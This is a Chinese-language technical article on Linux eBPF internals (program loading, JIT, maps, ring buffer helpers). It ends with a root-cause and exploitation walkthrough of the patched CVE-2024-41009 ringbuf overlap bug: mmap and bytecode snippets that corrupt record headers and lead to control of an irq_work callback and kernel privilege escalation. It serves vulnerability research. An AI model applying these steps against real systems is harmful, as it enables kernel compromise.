1. Introduction

BPF vs. eBPF (extended BPF) 功能上的差異可以參考該文章,簡單來說 BPF 能讓使用者在 userspace 撰寫 BPF bytecode 來處理網路封包,而 eBPF 還能運用在非網路的功能上,像是 syscall hook。在 userspace 的程式都會使用 BPF syscall 來操作相關功能,呼叫該 syscall 時會需要傳遞三個參數,包含:

  1. cmd - 你要執行的命令,像是 BPF_MAP_CREATEBPF_PROG_LOAD
  2. uattr - 執行命令需要的屬性。這部分取決於你要執行的命令,像是 BPF_PROG_LOAD 就會需要提供 program size
  3. size - uattr 的大小,基本上就看他結構多大就傳多少,若傳入的大小與結構實際的大小不同,很容易在一開始的檢查就會失敗。不寫成定值的原因我猜是因為會有不定長度的屬性。

Syscall 後會先執行到 bpf syscall handler,

// kernel/bpf/syscall.c
SYSCALL_DEFINE3(bpf, int, cmd, union bpf_attr __user *, uattr, unsigned int, size)
{
    return __sys_bpf(cmd, USER_BPFPTR(uattr), size);
}

在把 userspace 的資料複製到 kernel 後 [1],會再根據使用者想執行的命令呼叫對應的 handler,像是 BPF_MAP_CREATE 就會由 map_create() 來處理 [2]。

// kernel/bpf/syscall.c
static int __sys_bpf(int cmd, bpfptr_t uattr, unsigned int size)
{
    union bpf_attr attr;
    // [...]
    copy_from_bpfptr(&attr, uattr, size); // [1]

    switch (cmd) {
    case BPF_MAP_CREATE:
        err = map_create(&attr); // [2]
        break;
    // [...]
    }
}

若要使用 BPF 就一定要建一個 BPF program,也就是命令 BPF_PROG_LOAD,而該命令會由 bpf_prog_load() 來處理。bpf_prog_load() 除了處理 BPF creation 的請求外,也會執行一些檢查,來發送請求的 process 是否具有 BPF program 的建立權限。

當 process 滿足 “1. kernel 允許 unprivileged process 能使用 BPF” [3],或 “2. process 具有 CAP_BPFCAP_SYS_ADMIN 權限” [4] 時,才能繼續執行,否則回傳錯誤 -EPERM

// kernel/bpf/syscall.c
static int bpf_prog_load(union bpf_attr *attr, bpfptr_t uattr, u32 uattr_size)
{
    // [...]
    if (sysctl_unprivileged_bpf_disabled /*[3]*/ && !bpf_capable() /*[4]*/)
        return -EPERM;
}

static inline bool bpf_capable(void)
{
    return capable(CAP_BPF) || capable(CAP_SYS_ADMIN);
}

並且就算 kernel 允許 unprivileged access,仍有部分功能被侷限住。像是 BPF program 的大小最多只能有 4096 [5],反觀 privileged process 就能有 1000000。此外,unprivileged process 也只能建立數十種 program 類型中的其中兩種 “SOCKET_FILTER” 與 “CGROUP_SKB” [6]。權限 CAP_SYS_ADMIN 跟 CAP_BPF 也有區分 [7],不過這邊就不討論。

// kernel/bpf/syscall.c
static int bpf_prog_load(union bpf_attr *attr, bpfptr_t uattr, u32 uattr_size)
{
    // [...]
    if (attr->insn_cnt == 0 ||
        attr->insn_cnt > (bpf_capable() ? BPF_COMPLEXITY_LIMIT_INSNS : BPF_MAXINSNS)) // [5]
        return -E2BIG;
  
    if (type != BPF_PROG_TYPE_SOCKET_FILTER && // [6]
        type != BPF_PROG_TYPE_CGROUP_SKB &&
        !bpf_capable())
    return -EPERM;

    if (is_net_admin_prog_type(type) && !capable(CAP_NET_ADMIN) && !capable(CAP_SYS_ADMIN)) // [7]
        return -EPERM;
    // [...]
}

sysctl_unprivileged_bpf_disabled 的啟用與否取決於 CONFIG_BPF_UNPRIV_DEFAULT_OFF 的值。有趣的是,多數 Linux distribution 如 Ubuntu 或 Debian,在目前的版本預設都會啟用該 flag,而在 kernelCTF 的執行環境中卻沒有,因此 BPF 仍是可以研究的一個 component。

建好一個 program 後,process 就能透過 setsockopt(SO_ATTACH_BPF) attach program 到 socket [8],後續該 socket 在處理 packet 時就會先執行 BPF program [9]。

void load_bpf_prog(int progfd)
{
    int sfds[2];
    socketpair(AF_UNIX, SOCK_DGRAM, 0, sfds);
    setsockopt(sfds[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)); // [8]
    write(sfds[0], "A", 1); // [9]
}

Attach 的操作最後會由 kernel function __sk_attach_prog() 處理。該 function 先把 program assign 給 struct sk_filter [10],再把 filter bind 到 sock object 上 [11]。

static int __sk_attach_prog(struct bpf_prog *prog, struct sock *sk)
{
    struct sk_filter *fp, *old_fp;

    fp = kmalloc(sizeof(*fp), GFP_KERNEL);
    fp->prog = prog; // [10]
    __sk_filter_charge(sk, fp); // [11]
    refcount_set(&fp->refcnt, 1);
    // [...]
}

2. BPF_PROG_LOAD - Load Program

在 Introduction 中我們介紹了 create program 時的權限檢查,這個章節會深入介紹 create program 的執行流程。Userspace process 能透過類似下方範例程式碼的方式來設定要 create bpf program 的參數,包含定義 program 的 bytecode [1]、設定用來 debug 的 log buffer [2] 等等,最後在呼叫 BPF syscall [3]。

char log_buffer[LOG_BUFFER_SIZE];
void bpf_load_prog()
{
    struct bpf_insn prog[] = { // [1]
        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN(),
    };
  
    union bpf_attr attr = {
        .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
        .insns = (unsigned long)prog,
        .insn_cnt = sizeof(prog) / sizeof(prog[0]),
        .license = (unsigned long)"GPL",
        .log_buf = (unsigned long)log_buffer, // [2]
        .log_size = LOG_BUFFER_SIZE,
        .log_level = 3,
    };

    return syscall(__NR_BPF, BPF_PROG_LOAD, &attr, sizeof(attr)); // [3]
}

在 kernel space 會由 bpf_prog_load() 來處理該請求。bpf_prog_load() 會先根據 BPF program 的大小分配一個 struct bpf_prog object [4],之後再把 instruction (bytecode) 複製到 bpf_prog 存放 instruction 的空間 prog->insns [5]。考慮到不同 type 的 program 會有不同的 operation table,因此由 find_prog_type() 負責檢查與取得對應 type 的 ops [6]。

// kernel/bpf/syscall.c
static int bpf_prog_load(union bpf_attr *attr, bpfptr_t uattr, u32 uattr_size)
{
    struct bpf_prog *prog
    // [...]
    prog = bpf_prog_alloc(bpf_prog_size(attr->insn_cnt), GFP_USER); // [4]
    // [...]
    copy_from_bpfptr(prog->insns,
        make_bpfptr(attr->insns, uattr.is_kernel),
        bpf_prog_insn_size(prog)); // [5]
    // [...]
    find_prog_type(type, prog); // [6]
    // [...]
}

BPF program 實作了 JIT 的機制來提高效能,在建立 program 時同時也會決定是否需要做 JIT。首先剛建立完 BPF program 需要確保沒有非法的 bytecode 執行流程,因此會丟給 BPR verifier 來檢查 [7]。檢查完畢後,會呼叫 bpf_prog_select_runtime() 需要選擇接下來要用 bytecode 還是 JIT 的方式執行 BPF program [8],最後把 program install 到 fd table,回傳到 userspace [9]。

// kernel/bpf/syscall.c
static int bpf_prog_load(union bpf_attr *attr, bpfptr_t uattr, u32 uattr_size)
{
    // [...]
    err = bpf_check(&prog, attr, uattr, uattr_size); // [7]
    // [...]
    prog = bpf_prog_select_runtime(prog, &err); // [8]
    // [...]
    err = bpf_prog_new_fd(prog); // [9]
    // [...]
    return err;
}

bpf_check() 負責驗證 bytecode 的合法性,過去許多漏洞都出在這個地方,不過現在實作已經很成熟了。該 function 會先初始化 log [10],如果先前 BPF program 中有提供 log buffer,後續發現錯誤時就會複製細節到 log buffer 中,提供使用者分析。之後會對 bytecode 執行流程做各種檢查 [11]。

// kernel/bpf/verifier.c
int bpf_check(struct bpf_prog **prog, union bpf_attr *attr, bpfptr_t uattr, __u32 uattr_size)
{
    // [...]
    ret = bpf_vlog_init(&env->log, attr->log_level,
            (char __user *) (unsigned long) attr->log_buf,
            attr->log_size); // [10]
    // [...]
    // [11]
    ret = add_subprog_and_kfunc(env);
    // ... error handle
    ret = check_subprogs(env);
    // [...]
}

bpf_prog_select_runtime() 負責選 BPF program 的執行方式是 JIT 或是 bytecode。若決定要執行 JIT code,就會呼叫對應指令集的 BPF JIT handler。當 “CONFIG_BPF_JIT_ALWAYS_ON 啟用” 或 “bytecode 有呼叫到 kernel function” 的情況下,就代表 program 一定需要 JIT。但即使條件都不滿足,仍會嘗試 JIT [12]。

// kernel/bpf/core.c
struct bpf_prog *bpf_prog_select_runtime(struct bpf_prog *fp, int *err)
{
    // [...]
    if (IS_ENABLED(CONFIG_BPF_JIT_ALWAYS_ON) ||
        bpf_prog_has_kfunc_call(fp))
        jit_needed = true;

    // [...]
    fp = bpf_int_jit_compile(fp); // [12]
    // [...]
  
    return fp;
}

不過 bpf_int_jit_compile() 會先檢查 program 是否有 JIT 的需要 [13],如果沒有的話,就會直接不處理。

// arch/x86/net/bpf_jit_comp.c
struct bpf_prog *bpf_int_jit_compile(struct bpf_prog *prog)
{
    // [...]
    if (!prog->jit_requested) // [13]
        return orig_prog;
    // [...] jitting ...
}

在一開始分配 struct bpf_prog 時,會執行到 bpf_prog_alloc_no_stats() 並決定 jit_requested 的值 [14]。

// kernel/bpf/core.c
struct bpf_prog *bpf_prog_alloc_no_stats(unsigned int size, gfp_t gfp_extra_flags)
{
    // [...]
    fp->jit_requested = ebpf_jit_enabled(); // [14]
    // [...]
}

ebpf_jit_enabled() 需要 config 啟用 CONFIG_HAVE_EBPF_JIT,並且 bpf_jit_enable 為 true。

// include/linux/filter.h
static inline bool bpf_jit_is_ebpf(void)
{
# ifdef CONFIG_HAVE_EBPF_JIT
    return true;
# else
    return false;
# endif
}

static inline bool ebpf_jit_enabled(void)
{
    return bpf_jit_enable && bpf_jit_is_ebpf();
}

bpf_jit_enable 又需要 CONFIG_BPF_JIT_DEFAULT_ON 啟用才會是 true。

// kernel/bpf/core.c
int bpf_jit_enable   __read_mostly = IS_BUILTIN(CONFIG_BPF_JIT_DEFAULT_ON);

也就是 kernel config 需要滿足下面的條件,預設才會嘗試 JIT BPF:

  • CONFIG_BPF_JIT=y
  • CONFIG_BPF_JIT_DEFAULT_ON=y
  • CONFIG_HAVE_EBPF_JIT=y

而這三個 config 不論是在 kernelCTF 的環境或是 Ubuntu、Debian 底下,預設都是啟用的。

3. BPF_MAP_CREATE - Create Map

除了執行 program 操作之外,BPF 也提供了 map 的機制。Map 讓 userspace 與 kernel space 可以共享資料,並且有多種類型的儲存方式,像是 hash table、array、ring buffer 等等。

使用者發送 BPF cmd BPF_MAP_CREATE 後會由 function map_create() 來處理。該 function 會從屬性資料取出 map_type,並取得其對應到的 map operation table [1]。如果該 map 會需要先檢查屬性的是否合法,就會由 .map_alloc_check handler 處理 [2]。而 map type 又分成 unprivileged [3]、bpf [4]、admin [5] 三種,因此還會做一次權限檢查。

// kernel/bpf/syscall.c
static int map_create(union bpf_attr *attr)
{
    // [...]
    map_type = attr->map_type;
    ops = bpf_map_types[map_type]; // [1]
    if (ops->map_alloc_check) {
        err = ops->map_alloc_check(attr); // [2]
    }
    // [...]
    switch (map_type) {
    // [3]
    case BPF_MAP_TYPE_ARRAY:
        // [...]
        break;
  
    // [...]
    // [4]
    case BPF_MAP_TYPE_CPUMAP:
        if (!bpf_capable())
            return -EPERM;
  
    // [...]
    // [5]
    case BPF_MAP_TYPE_XSKMAP:
        if (!capable(CAP_NET_ADMIN))
            return -EPERM;
        break;
    }
}

而後會由 .map_alloc handler 會分配並初始化 bpf_map object [6],最後 bind 到 fd table [7]。

static int map_create(union bpf_attr *attr)
{
    // [...]
    map = ops->map_alloc(attr); // [6]
    map->ops = ops;
    map->map_type = map_type;
    // [...]
    err = bpf_map_alloc_id(map);
    // [...]
    err = bpf_map_new_fd(map, f_flags); // [7]
    // [...]
    return err;
}

3.1 Case Study: Ringbuf

當 map type 指定為 BPF_MAP_TYPE_RINGBUF 時,會使用 operation table ringbuf_map_ops 來處理後續操作,像是 map 的分配與釋放。

// kernel/bpf/ringbuf.c
const struct bpf_map_ops ringbuf_map_ops = {
    // [...]
    .map_alloc = ringbuf_map_alloc,
    .map_free = ringbuf_map_free,
    // [...]
};

在分配 ring buffer 時會做一些檢查。首先屬性中不能有 key 跟 value [1],entry 個數需要是 2 的冪次 [2],並且要以 page 為單位 [3]。之後會分配 ring buffer 的 map object struct bpf_ringbuf_map [4],成員包含 bpf_map object 以及紀錄 ring buffer 位置的 pointer。最後呼叫 bpf_ringbuf_alloc() 分配 ring buffer [5]。

// kernel/bpf/ringbuf.c
static struct bpf_map *ringbuf_map_alloc(union bpf_attr *attr)
{
    struct bpf_ringbuf_map *rb_map;
    // [...]
    if (attr->key_size || attr->value_size || // [1]
        !is_power_of_2(attr->max_entries) || // [2]
        !PAGE_ALIGNED(attr->max_entries)) // [3]
    return ERR_PTR(-EINVAL);

    rb_map = bpf_map_area_alloc(sizeof(*rb_map), NUMA_NO_NODE); // [4]
    // [...]
    rb_map->rb = bpf_ringbuf_alloc(attr->max_entries, rb_map->map.numa_node); // [5]
    // [...]
    return &rb_map->map;
}

底層會走到 bpf_ringbuf_area_alloc(),參數 data_sz 即是使用者傳入的 entry 個數 attr->max_entries。該 function 會先分配 struct page* array [6],array 大小為兩倍的 data page 加上 metadata page,兩倍的原因在於這邊使用到 double-mapped data pages 的機制,這樣 kernel 就不用特別對 wrapped-around 的 case 做額外處理。而 metadata page 即是 struct bpf_ringbuf,大小為 3 個 page。

接著 bpf_ringbuf_area_alloc() 會分配 struct page [7],並呼叫 vmap() map 成連續的 virutal address [8]。

static struct bpf_ringbuf *bpf_ringbuf_area_alloc(size_t data_sz, int numa_node)
{
    // [...]
    int nr_meta_pages = RINGBUF_NR_META_PAGES;
    int nr_data_pages = data_sz >> PAGE_SHIFT;
    int nr_pages = nr_meta_pages + nr_data_pages;
    // [...]

    array_size = (nr_meta_pages + 2 * nr_data_pages) * sizeof(*pages);
    pages = bpf_map_area_alloc(array_size, numa_node); // [6]

    for (i = 0; i < nr_pages; i++) {
        page = alloc_pages_node(numa_node, flags, 0); // [7]
        pages[i] = page;
        if (i >= nr_meta_pages)
            pages[nr_data_pages + i] = page;
    }

    rb = vmap(pages, nr_meta_pages + 2 * nr_data_pages,
            VM_MAP | VM_USERMAP, PAGE_KERNEL); // [8]
    rb->pages = pages;
    rb->nr_pages = nr_pages;
    return rb;
    // [...]
}

4. BPF Helper

BPF 中提供了許多 helper,也就是 builtin function。使用者可以在 BPF program 使用 bytecode BPF_CALL 來呼叫這些這些 helper。每個 helper 都有對應的 ID,像是 bpf_ringbuf_reserve() 就是 131。

// tools/include/uapi/linux/bpf.h
#define ___BPF_FUNC_MAPPER(FN, ctx...)          \
    FN(unspec, 0, ##ctx)                        \
    \ // [...]
    FN(ringbuf_reserve, 131, ##ctx)             \
    // [...]

舉例來說,下面的 BPF program 片段先將 REG_1、REG_2、REG_3 分別設成 ringbuf_fd 所對應的 map、0x1000 以及 0,再透過 bytecode BPF_CALL 呼叫 ID 為 BPF_FUNC_ringbuf_reserve 的 helper。

{
    // [...]
    BPF_LD_MAP_FD(BPF_REG_1, ringbuf_fd),
    BPF_MOV64_IMM(BPF_REG_2, 0x1000),
    BPF_MOV64_IMM(BPF_REG_3, 0x0),
    BPF_RAW_INSN(
        BPF_JMP | BPF_CALL, 0, 0, 0,
        BPF_FUNC_ringbuf_reserve),
    // [...]
}

Helper ID 與對應到的 kernel function 可以看 bpf_base_func_proto() 會回傳什麼 function proto,像 BPF_FUNC_ringbuf_reserve 就會回傳 bpf_ringbuf_reserve_proto

// kernel/bpf/helpers.c
const struct bpf_func_proto *
bpf_base_func_proto(enum bpf_func_id func_id)
{
    switch (func_id) {
    // [...]
    case BPF_FUNC_ringbuf_reserve:
        return &bpf_ringbuf_reserve_proto;
    // [...]
    }
}

Function proto 會定義要執行的 kernel function 以及參數,像是 bpf_ringbuf_reserve() 的參數 REG_1、REG_2 必須是 map pointer 與分配大小 size。

// kernel/bpf/ringbuf.c
const struct bpf_func_proto bpf_ringbuf_reserve_proto = {
    .func        = bpf_ringbuf_reserve,
    .ret_type    = RET_PTR_TO_RINGBUF_MEM_OR_NULL,
    .arg1_type    = ARG_CONST_MAP_PTR,
    .arg2_type    = ARG_CONST_ALLOC_SIZE_OR_ZERO,
    .arg3_type    = ARG_ANYTHING,
};

上方作為範例的 BPF program 片段最後就會走到 bpf_ringbuf_reserve() 並嘗試保留一定空間的 ring buffer。

// kernel/bpf/ringbuf.c
BPF_CALL_3(bpf_ringbuf_reserve, struct bpf_map *, map, u64, size, u64, flags)
{
    struct bpf_ringbuf_map *rb_map;
    // [...]
    rb_map = container_of(map, struct bpf_ringbuf_map, map);
    return (unsigned long)__bpf_ringbuf_reserve(rb_map->rb, size);
}

5. Vulnerability Case Study 1 - bpf: Fix overrunning reservations in ringbuf (CVE-2024-41009)

這個漏洞在 2024-06-14 被用來打 Google 的 KernelCTF (exp179),並在 2024-06-21 被 patch,可以參考 commit log 所提到的資訊。要了解這個漏洞成因,就需要先知道 BPF ring buffer 機制。BPF ring buffer 提供了五個 helper,分別為:

  • BPF_FUNC_ringbuf_reserve - 在 ring buffer 保留一塊給定大小的記憶體空間
  • BPF_FUNC_ringbuf_submit - 將先前 reserve 的空間標記成準備完成
  • BPF_FUNC_ringbuf_discard - 捨棄之前 reserve 的空間
  • BPF_FUNC_ringbuf_output - 將資料寫到 ring buffer 並標記成準備完成
  • BPF_FUNC_ringbuf_query - 查看 ring buffer 的狀態

接下來會分析這五個 helper 的實作,ring buffer 主要的結構圖可以參考下方。

image-20240712153831554

BPF_FUNC_ringbuf_reserve

BPF_FUNC_ringbuf_reserve 會由 bpf_ringbuf_reserve() 來處理,實際上是 __bpf_ringbuf_reserve() 的 wrapper function。

// kernel/bpf/ringbuf.c
BPF_CALL_3(bpf_ringbuf_reserve, struct bpf_map *, map, u64, size, u64, flags)
{
    struct bpf_ringbuf_map *rb_map;
    // [...]
    rb_map = container_of(map, struct bpf_ringbuf_map, map);
    return (unsigned long)__bpf_ringbuf_reserve(rb_map->rb, size);
}

__bpf_ringbuf_reserve() 會檢查 data size 加上 header size 在對齊 8 bytes 後是否超過 ring buffer size [1],需要注意這邊的 ring buffer size 不包含 double-mapped data pages 所建立的額外 page。之後會檢查新的 producer position 減去 consumer 會不會超過 ring buffer size [2],這邊只確保還沒被 consumed 的資料不能超過 ring buffer size,實際上新的 producer position 是能夠到 double-mapped data pages 的 page

// kernel/bpf/ringbuf.c
static void *__bpf_ringbuf_reserve(struct bpf_ringbuf *rb, u64 size)
{
    unsigned long cons_pos, prod_pos, new_prod_pos, flags;
    u32 len, pg_off;
    struct bpf_ringbuf_hdr *hdr;

    // [...]
    len = round_up(size + BPF_RINGBUF_HDR_SZ, 8);
    if (len > ringbuf_total_data_sz(rb)) // [1]
        return NULL;
    
    // [...]
    cons_pos = smp_load_acquire(&rb->consumer_pos);
    prod_pos = rb->producer_pos;
    new_prod_pos = prod_pos + len;

    if (new_prod_pos - cons_pos > rb->mask) { // [2]
        // [...] failed
    }
    // [...]
}

檢查後會初始化 header,len 會 or BPF_RINGBUF_BUSY_BIT 代表正在使用 [3],而 pg_off 是 header 與 bpf_ringbuf object 的 page offset [4]。最後更新 producer position [5] 後回傳 data pointer。

// kernel/bpf/ringbuf.c
static void *__bpf_ringbuf_reserve(struct bpf_ringbuf *rb, u64 size)
{
    // [...]
    hdr = (void *)rb->data + (prod_pos & rb->mask);
    pg_off = bpf_ringbuf_rec_pg_off(rb, hdr);
    hdr->len = size | BPF_RINGBUF_BUSY_BIT; // [3]
    hdr->pg_off = pg_off; // [4]
    
    // [...]
    smp_store_release(&rb->producer_pos, new_prod_pos); // [5]
    return (void *)hdr + BPF_RINGBUF_HDR_SZ;
}

BPF_FUNC_ringbuf_submit

BPF_FUNC_ringbuf_submit 會由 bpf_ringbuf_submit() 來處理,而該 function 是 bpf_ringbuf_commit() 的 wrapper function。

// kernel/bpf/ringbuf.c
BPF_CALL_2(bpf_ringbuf_submit, void *, sample, u64, flags)
{
    bpf_ringbuf_commit(sample, flags, false /* discard */);
    return 0;
}

bpf_ringbuf_commit() 的參數 sample 為先前 reserve 所拿到的 data pointer,因此要取得 header 就只需減去 header size [1]。而後 function 會 unset 在 reserver 時設置的 BUSY BIT,表示資料已準備完,可以被存取。

// kernel/bpf/ringbuf.c
static void bpf_ringbuf_commit(void *sample, u64 flags, bool discard)
{
    unsigned long rec_pos, cons_pos;
    struct bpf_ringbuf_hdr *hdr;
    struct bpf_ringbuf *rb;
    u32 new_len;

    hdr = sample - BPF_RINGBUF_HDR_SZ; // [1]
    rb = bpf_ringbuf_restore_from_rec(hdr);
    new_len = hdr->len ^ BPF_RINGBUF_BUSY_BIT; // [2]
    if (discard)
        new_len |= BPF_RINGBUF_DISCARD_BIT;

    xchg(&hdr->len, new_len); // [2]
    // [...]
}

BPF_FUNC_ringbuf_discard

BPF_FUNC_ringbuf_discardbpf_ringbuf_discard() 處理,與 submit 一樣是 bpf_ringbuf_commit() 的 wrapper function,但是 discard 會是 true。

// kernel/bpf/ringbuf.c
BPF_CALL_2(bpf_ringbuf_discard, void *, sample, u64, flags)
{
    bpf_ringbuf_commit(sample, flags, true /* discard */);
    return 0;
}

discard 為 true 時,header len 會被設置 DISCARD BIT。

// kernel/bpf/ringbuf.c
static void bpf_ringbuf_commit(void *sample, u64 flags, bool discard)
{
    // [...]
    if (discard)
        new_len |= BPF_RINGBUF_DISCARD_BIT;
    // [...]
}

BPF_FUNC_ringbuf_output

BPF_FUNC_ringbuf_outputbpf_ringbuf_output() 負責,實際上就只是把 reserve [1] 跟 submit [2] 合在一起做而已。

// kernel/bpf/ringbuf.c
BPF_CALL_4(bpf_ringbuf_output, struct bpf_map *, map, void *, data, u64, size,
       u64, flags)
{
    struct bpf_ringbuf_map *rb_map;
    void *rec;

    rb_map = container_of(map, struct bpf_ringbuf_map, map);
    rec = __bpf_ringbuf_reserve(rb_map->rb, size); // [1]
    memcpy(rec, data, size);
    bpf_ringbuf_commit(rec, flags, false /* discard */); // [2]
    return 0;
}

BPF_FUNC_ringbuf_query

BPF_FUNC_ringbuf_querybpf_ringbuf_query() 處理,根據不同的 flag 回傳不同的狀態值。

// kernel/bpf/ringbuf.c
BPF_CALL_2(bpf_ringbuf_query, struct bpf_map *, map, u64, flags)
{
    struct bpf_ringbuf *rb;
    // [...]
    switch (flags) {
    case BPF_RB_AVAIL_DATA:
        return ringbuf_avail_data_sz(rb);
    case BPF_RB_RING_SIZE:
        return ringbuf_total_data_sz(rb);
    // [...]
    }
}

Root Cause

__bpf_ringbuf_reserve() 中,可以發現決定能不能 reserve 是看新的 producer position (rb->producer_pos) 減 consumer position (rb->consumer_pos) 是否超過 ring buffer 大小 (rb->mask) [1]。

// kernel/bpf/ringbuf.c
static void *__bpf_ringbuf_reserve(struct bpf_ringbuf *rb, u64 size)
{
    // [...]
    cons_pos = smp_load_acquire(&rb->consumer_pos);
    prod_pos = rb->producer_pos;
    new_prod_pos = prod_pos + len;

    if (new_prod_pos - cons_pos > rb->mask) { // [1]
        // [...] failed
    }
    // [...]
}

假設 BPF program 會依序執行下面的操作:

  1. Create 一個大小為 0x4000 的 ring buffer
  2. 透過某些行為將 consumer position 更新成 0x3000
    • Producer position 不改變,依然為 0
  3. Reserve ring buffer 大小 0x3000,加上 header 8 bytes 後,data 會落在 0x8 ~ 0x3008
    • 檢查 new_prod_pos - cons_pos > rb->mask 展開後會變成 0x3008 - 0x3000 > 0x3fff,因為條件不成立而繼續執行
  4. 再次 reserve ring buffer 大小 0x3000,預期 data 會落在 0x3010 ~ 0x6010
    • 檢查 new_prod_pos - cons_pos > rb->mask 展開後會變成 0x6010 - 0x3000 > 0x3fff,因為條件不成立而繼續執行
    • 雖然 ring buffer 大小只有 0x4000,但因為實作了 double-mapped data pages 的機制,因此實際 data pages 的範圍會是 ring buffer 大小的兩倍,也就是 0x8000
    • 0x4000 ~ 0x6010 會對應到 0x0 ~ 0x3010,也就會跟步驟 3 reserve 的 header 與 data 重疊

Reserve header 紀錄了 reserve data 的大小與 page offset,因此如果可以控制,就會在使用到 header 如 ring buffer commit 時出現問題。

至於步驟 2 的某些行為是什麼,可以看有哪些地方會更新 consumer position,會發現只有兩個地方。

// kernel/bpf/ringbuf.c
static int __bpf_user_ringbuf_peek(struct bpf_ringbuf *rb, void **sample, u32 *size)
{
    // [...]
    if (flags & BPF_RINGBUF_DISCARD_BIT) {
        smp_store_release(&rb->consumer_pos, cons_pos + total_len);
        return -EAGAIN;
    }
    // [...]
}

// kernel/bpf/ringbuf.c
static void __bpf_user_ringbuf_sample_release(struct bpf_ringbuf *rb, size_t size, u64 flags)
{
    u64 consumer_pos;
    u32 rounded_size = round_up(size + BPF_RINGBUF_HDR_SZ, 8);
    consumer_pos = rb->consumer_pos;
    smp_store_release(&rb->consumer_pos, consumer_pos + rounded_size);
}

但這兩個 function 只會被 helper BPF_FUNC_user_ringbuf_drain 的 handler bpf_user_ringbuf_drain() 使用到,而 ring buffer 跟 user ring buffer 是兩種不同類型的 map,因此這個是條死路。




ringbuf_map_ops 定義了 mmap handler,當 userspace process mmap ring buffer 時會由 ringbuf_map_mmap_kern() 來處理。

// kernel/bpf/ringbuf.c
const struct bpf_map_ops ringbuf_map_ops = {
    // [...]
    .map_mmap = ringbuf_map_mmap_kern,
    // [...]
};

ringbuf_map_mmap_kern() 會 map ring buffer,但不是直接 mapping 整個 bpf_ringbuf object,而是多做了一些處理跟檢查:1. 只有 consumer position 可以被修改,producer position 與 data 只能讀 [1],2. bpf_ringbuf object 的第一個 page 不會被 map,也就是會從 RINGBUF_PGOFF 開始 [2]。

// kernel/bpf/ringbuf.c
static int ringbuf_map_mmap_kern(struct bpf_map *map, struct vm_area_struct *vma)
{
    struct bpf_ringbuf_map *rb_map;

    rb_map = container_of(map, struct bpf_ringbuf_map, map);

    if (vma->vm_flags & VM_WRITE) {
    if (vma->vm_pgoff != 0 || vma->vm_end - vma->vm_start != PAGE_SIZE) // [1]
        return -EPERM;
    }

    // [...]
    return remap_vmalloc_range(vma, rb_map->rb,
            vma->vm_pgoff + RINGBUF_PGOFF); // [2]
}

因此 userspace program 只要直接 mmap ringbuf 大小 0x1000 [3],就可以修改 consumer position 成任意值 [4]。

void *consumer_pos = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, ringbuf, 0); // [3]
*(unsigned long *)consumer_pos = 0x3000; // [4]

除了第二個步驟外的操作都很直觀,就按照說明寫 bytecode 而已。構造好 BPF program 後,最後就能在 bpf_ringbuf_commit() 使用到被蓋寫後的 header,產生與預期不同的執行流程。

Exploit

不過 ring buffer 初始值都會是 0,如果要準確控制 header value 的話,需要想辦法寫資料到 ring buffer 當中。根據不同種類的 BPF program 會有不同的 helper 可以使用。當 program type 為 BPF_PROG_TYPE_SOCKET_FILTER 時,可以透過 sk_filter_func_proto() 的實作知道哪些 helper 是可以用的,並從中找出可以把資料寫到 ring buffer 的 helper。

// net/core/filter.c
static const struct bpf_func_proto *
sk_filter_func_proto(enum bpf_func_id func_id, const struct bpf_prog *prog)
{
    switch (func_id) {
    case BPF_FUNC_skb_load_bytes:
        return &bpf_skb_load_bytes_proto;
        // [...]
    }
}

我選的是 helper BPF_FUNC_skb_load_bytes,該 helper 能夠複製 packet payload 到 buffer 中,所以可以透過寫入 socket 的內容來控 header,範例的 bytecode 如下:

// r1 = ctx (sk_buff)
// r6 = reserve ringbuf buffer
BPF_MOV64_IMM(BPF_REG_2, 0),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_6),
BPF_MOV64_IMM(BPF_REG_4, 0x3000), // copy size
BPF_RAW_INSN(
    BPF_JMP | BPF_CALL, 0, 0, 0,
    BPF_FUNC_skb_load_bytes),
// [...]

能控 header 後,後續在執行 BPF_FUNC_ringbuf_discard 時就會拿到壞掉的位址 [1],之後存取 rb->consumer_pos 時就會 crash [2]。如果 flags 包含 BPF_RB_FORCE_WAKEUP,該位址就會被用作 struct irq_work [3]。

// kernel/bpf/ringbuf.c
static void bpf_ringbuf_commit(void *sample, u64 flags, bool discard)
{
    unsigned long rec_pos, cons_pos;
    struct bpf_ringbuf_hdr *hdr;
    struct bpf_ringbuf *rb;
    u32 new_len;

    hdr = sample - BPF_RINGBUF_HDR_SZ;
    rb = bpf_ringbuf_restore_from_rec(hdr); // [1]
    // [...]
    cons_pos = smp_load_acquire(&rb->consumer_pos) & rb->mask; // [2]
    // [...]
    if (flags & BPF_RB_FORCE_WAKEUP)
        irq_work_queue(&rb->work); // [3]
    // [...]
}

// kernel/bpf/ringbuf.c
static struct bpf_ringbuf *
bpf_ringbuf_restore_from_rec(struct bpf_ringbuf_hdr *hdr)
{
    unsigned long addr = (unsigned long)(void *)hdr;
    unsigned long off = (unsigned long)hdr->pg_off << PAGE_SHIFT; // [1]
    return (void*)((addr & PAGE_MASK) - off);
}

irq_work_queue() 會檢查 irq_work object 的 flag 是否有設置 IRQ_WORK_PENDING (1) [4],並在 disable preempt 後走到 __irq_work_queue_local()

// kernel/irq_work.c
bool irq_work_queue(struct irq_work *work)
{
    if (!irq_work_claim(work)) // [4]
        return false;

    preempt_disable();
    __irq_work_queue_local(work);
    preempt_enable();
    return true;
}

該 function 會把 irq_work 新增到 work queue linked list 當中 [5]。

// kernel/irq_work.c
static void __irq_work_queue_local(struct irq_work *work)
{
    struct llist_head *list;
    bool rt_lazy_work = false;
    bool lazy_work = false;
    int work_flags;

    // [...]
    if (lazy_work || rt_lazy_work)
        list = this_cpu_ptr(&lazy_list);
    else
        list = this_cpu_ptr(&raised_list);

    if (!llist_add(&work->node.llist, list)) // [5]
        return;
    // [...]
}

IRQ handler 會遍歷 work list 並執行每個 callback [6],其中因為 work object 可控,因此 callback function 也可控。

// kernel/irq_work.c
void irq_work_single(void *arg)
{
    struct irq_work *work = arg;
    int flags;

    flags = atomic_read(&work->node.a_flags);
    flags &= ~IRQ_WORK_PENDING;
    atomic_set(&work->node.a_flags, flags);

     // [...]
    lockdep_irq_work_enter(flags);
    work->func(work); // [6]
    lockdep_irq_work_exit(flags);
    // [...]
}

一旦可以控 RIP,就可以參考現有的手法,像是 spray JIT opcode 蓋寫 core dump pattern 等方式做到提權。

